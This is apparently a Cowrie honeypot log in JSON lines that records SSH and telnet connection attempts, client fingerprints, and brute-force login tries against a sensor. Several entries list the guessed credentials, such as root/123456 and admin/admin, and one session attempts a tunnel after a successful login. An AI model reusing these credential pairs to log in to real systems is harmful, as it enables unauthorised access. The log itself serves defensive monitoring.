{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:55.181691Z","src_ip":"14.55.144.22","session":"7068e2fd5e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":38740,"dst_ip":"159.203.135.109","dst_port":22,"session":"447281d10204","protocol":"ssh","message":"New connection: 20.228.179.34:38740 (159.203.135.109:22) [session: 447281d10204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:21.284065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:21.288282Z","src_ip":"20.228.179.34","session":"447281d10204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:21.297877Z","src_ip":"20.228.179.34","session":"447281d10204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gigachad2024","message":"login attempt [root/gigachad2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:21.328802Z","src_ip":"20.228.179.34","session":"447281d10204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:22.341584Z","src_ip":"20.228.179.34","session":"447281d10204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":47524,"dst_ip":"10.17.0.5","dst_port":22,"session":"0335484830df","protocol":"ssh","message":"New connection: 162.240.218.183:47524 (10.17.0.5:22) [session: 0335484830df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:23.498424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:23.501777Z","src_ip":"162.240.218.183","session":"0335484830df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:23.590180Z","src_ip":"162.240.218.183","session":"0335484830df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helium2024","message":"login attempt [root/helium2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:23.855633Z","src_ip":"162.240.218.183","session":"0335484830df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:24.947160Z","src_ip":"162.240.218.183","session":"0335484830df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":48852,"dst_ip":"10.17.0.5","dst_port":22,"session":"9added57b05b","protocol":"ssh","message":"New connection: 80.94.92.234:48852 (10.17.0.5:22) [session: 9added57b05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:36.468489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:37.135626Z","src_ip":"80.94.92.234","session":"9added57b05b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:37.245506Z","src_ip":"80.94.92.234","session":"9added57b05b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:39.540865Z","src_ip":"80.94.92.234","session":"9added57b05b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:41.226396Z","src_ip":"80.94.92.234","session":"9added57b05b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":49128,"dst_ip":"159.203.135.109","dst_port":23,"session":"aae11347d367","protocol":"telnet","message":"New connection: 137.184.5.188:49128 (159.203.135.109:23) [session: aae11347d367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:49.589260Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50004,"dst_ip":"159.203.135.109","dst_port":23,"session":"f374c4e5a44d","protocol":"telnet","message":"New connection: 137.184.5.188:50004 (159.203.135.109:23) [session: f374c4e5a44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:19:56.675008Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":56254,"dst_ip":"159.203.135.109","dst_port":23,"session":"a32c6af9015f","protocol":"telnet","message":"New connection: 183.91.11.226:56254 (159.203.135.109:23) [session: a32c6af9015f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:14.576497Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47522,"dst_ip":"159.203.135.109","dst_port":23,"session":"4305196a72ba","protocol":"telnet","message":"New connection: 107.6.151.170:47522 (159.203.135.109:23) [session: 4305196a72ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:18.105290Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":56386,"dst_ip":"159.203.135.109","dst_port":23,"session":"98bfd023cef8","protocol":"telnet","message":"New connection: 183.91.11.226:56386 (159.203.135.109:23) [session: 98bfd023cef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:38.941619Z"}
{"eventid":"cowrie.session.closed","duration":0.004685401916503906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:38.946157Z","src_ip":"183.91.11.226","session":"98bfd023cef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":58984,"dst_ip":"10.17.0.5","dst_port":22,"session":"f91b6f428182","protocol":"ssh","message":"New connection: 14.55.144.22:58984 (10.17.0.5:22) [session: f91b6f428182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:40.839306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:40.844817Z","src_ip":"14.55.144.22","session":"f91b6f428182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:41.053959Z","src_ip":"14.55.144.22","session":"f91b6f428182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123==","message":"login attempt [root/abc123==] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:41.915988Z","src_ip":"14.55.144.22","session":"f91b6f428182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:43.124862Z","src_ip":"14.55.144.22","session":"f91b6f428182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":42866,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ff3dbdaf36","protocol":"ssh","message":"New connection: 132.148.142.226:42866 (10.17.0.5:22) [session: f9ff3dbdaf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:43.719726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:43.723410Z","src_ip":"132.148.142.226","session":"f9ff3dbdaf36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:43.788009Z","src_ip":"132.148.142.226","session":"f9ff3dbdaf36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atomic","password":"P@ssw0rd#Tr0ng$2","message":"login attempt [atomic/P@ssw0rd#Tr0ng$2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:43.983941Z","src_ip":"132.148.142.226","session":"f9ff3dbdaf36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":39308,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d923bd69a21","protocol":"ssh","message":"New connection: 162.254.35.142:39308 (159.203.135.109:22) [session: 7d923bd69a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:44.843188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:44.846681Z","src_ip":"162.254.35.142","session":"7d923bd69a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:44.911535Z","src_ip":"162.254.35.142","session":"7d923bd69a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:45.050340Z","src_ip":"132.148.142.226","session":"f9ff3dbdaf36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curve","password":"curve999","message":"login attempt [curve/curve999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:45.110231Z","src_ip":"162.254.35.142","session":"7d923bd69a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:46.179911Z","src_ip":"162.254.35.142","session":"7d923bd69a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.593491315841675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:49.169598Z","src_ip":"183.91.11.226","session":"a32c6af9015f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":21358,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3515209826c","protocol":"ssh","message":"New connection: 176.53.159.196:21358 (159.203.135.109:22) [session: c3515209826c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.209834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.213639Z","src_ip":"176.53.159.196","session":"c3515209826c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.314142Z","src_ip":"176.53.159.196","session":"c3515209826c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.625893Z","src_ip":"176.53.159.196","session":"c3515209826c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.727911Z","session":"c3515209826c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.829565Z","src_ip":"176.53.159.196","session":"c3515209826c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:52.936672Z","src_ip":"176.53.159.196","session":"c3515209826c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":48472,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd4871fa088","protocol":"ssh","message":"New connection: 91.92.40.176:48472 (10.17.0.5:22) [session: 9cd4871fa088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:57.629382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:57.633599Z","src_ip":"91.92.40.176","session":"9cd4871fa088","protocol":"ssh"}
